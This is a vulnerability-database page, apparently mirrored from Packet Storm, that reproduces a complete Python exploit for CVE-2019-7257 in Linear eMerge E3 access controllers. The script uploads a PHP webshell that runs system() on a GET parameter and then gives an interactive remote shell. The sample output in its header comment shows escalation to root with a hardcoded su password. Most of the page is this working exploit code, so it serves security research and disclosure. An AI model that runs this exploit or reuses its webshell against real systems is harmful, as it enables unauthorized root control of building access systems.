Lucene search
K

Linear eMerge E3 1.00-06 Arbitrary File Upload Remote Root Code Execution

🗓️ 12 Nov 2019 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 92 Views

Linear eMerge E3 1.00-06 Arbitrary File Upload Remote Root Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
eMerge E3 1.00-06 - Arbitrary File Upload Exploit
12 Nov 201900:00
zdt
CNVD
Nortek Security & Control Linear eMerge E3-Series Code Issue Vulnerability
3 Jul 201900:00
cnvd
Check Point Advisories
Linear eMerge Arbitrary File Upload (CVE-2019-7257)
28 Mar 202100:00
checkpoint_advisories
CVE
CVE-2019-7257
2 Jul 201918:16
cve
Cvelist
CVE-2019-7257
2 Jul 201918:16
cvelist
Exploit DB
eMerge E3 1.00-06 - Arbitrary File Upload
12 Nov 201900:00
exploitdb
exploitpack
eMerge E3 1.00-06 - Arbitrary File Upload
12 Nov 201900:00
exploitpack
ICS
Nice Linear eMerge E3-Series
5 Mar 202407:00
ics
NVD
CVE-2019-7257
2 Jul 201919:15
nvd
OSV
CVE-2019-7257
2 Jul 201919:15
osv
Rows per page
`#!/usr/bin/env python  
#  
# Linear eMerge E3 Arbitrary File Upload Remote Root Code Execution  
# Affected version: <=1.00-06  
# CVE: CVE-2019-7257  
# Advisory: https://applied-risk.com/resources/ar-2019-005  
#  
# Discovered by Gjoko 'LiquidWorm' Krstic  
#  
#####################################################################  
#  
# lqwrm@metalgear:~/stuff$ python e3upload.py 192.168.1.2  
# Starting exploit at 17.01.2019 13:04:17  
#  
# [email protected]:/spider/web/webroot/badging/bg$ id  
# uid=1003(lighttpd) gid=0(root)  
#  
# [email protected]:/spider/web/webroot/badging/bg$ echo davestyle | su -c id  
# Password:   
# uid=0(root) gid=0(root) groups=0(root)  
#  
# [email protected]:/spider/web/webroot/badging/bg$ exit  
#  
# [+] Deleting webshell.php file...  
# [+] Done!  
#  
#####################################################################  
  
import datetime  
import requests  
import sys#####  
import os######  
  
piton = os.path.basename(sys.argv[0])  
  
badge = "/badging/badge_layout_new_v0.php"  
shell = "/badging/bg/webshell.php"  
  
if len(sys.argv) < 2:  
print "\n\x20\x20[*] Usage: "+piton+" <ipaddress:port>\n"  
sys.exit()  
  
ipaddr = sys.argv[1]  
vremetodeneska = datetime.datetime.now()  
  
print "Starting exploit at "+vremetodeneska.strftime("%d.%m.%Y %H:%M:%S")  
print  
  
while True:  
try:  
target = "http://"+ipaddr+badge  
  
headers = {"User-Agent": "Brozilla/16.0",  
"Accept": "anything",  
"Accept-Language": "mk-MK,mk;q=0.7",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "multipart/form-data; boundary=----j",  
"Connection": "close"}  
  
payload = ("------j\r\nContent-Disposition: form-da"  
"ta; name=\"layout_name\"\r\n\r\nwebshel"  
"l.php\r\n------j\r\nContent-Disposition"  
": form-data; name=\"bg\"; filename=\"we"  
"bshell.php\"\r\nContent-Type: applicati"  
"on/octet-stream\r\n\r\n<?\nif($_GET['cm"  
"d']) {\n system($_GET['cmd']);\n }\n?"  
">\n\r\n------j--\r\n")  
  
requests.post(target, headers=headers, data=payload)  
  
cmd = raw_input("lighttpd@"+ipaddr+":/spider/web/webroot/badging/bg$ ")  
execute = requests.get("http://"+ipaddr+shell+"?cmd="+cmd)  
print execute.text  
if cmd.strip() == "exit":  
print "[+] Deleting webshell.php file..."  
requests.get("http://"+ipaddr+shell+"?cmd=rm%20webshell.php")  
print "[+] Done!\n"  
break  
else: continue  
except Exception:  
print "Error!"  
break  
  
sys.exit()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation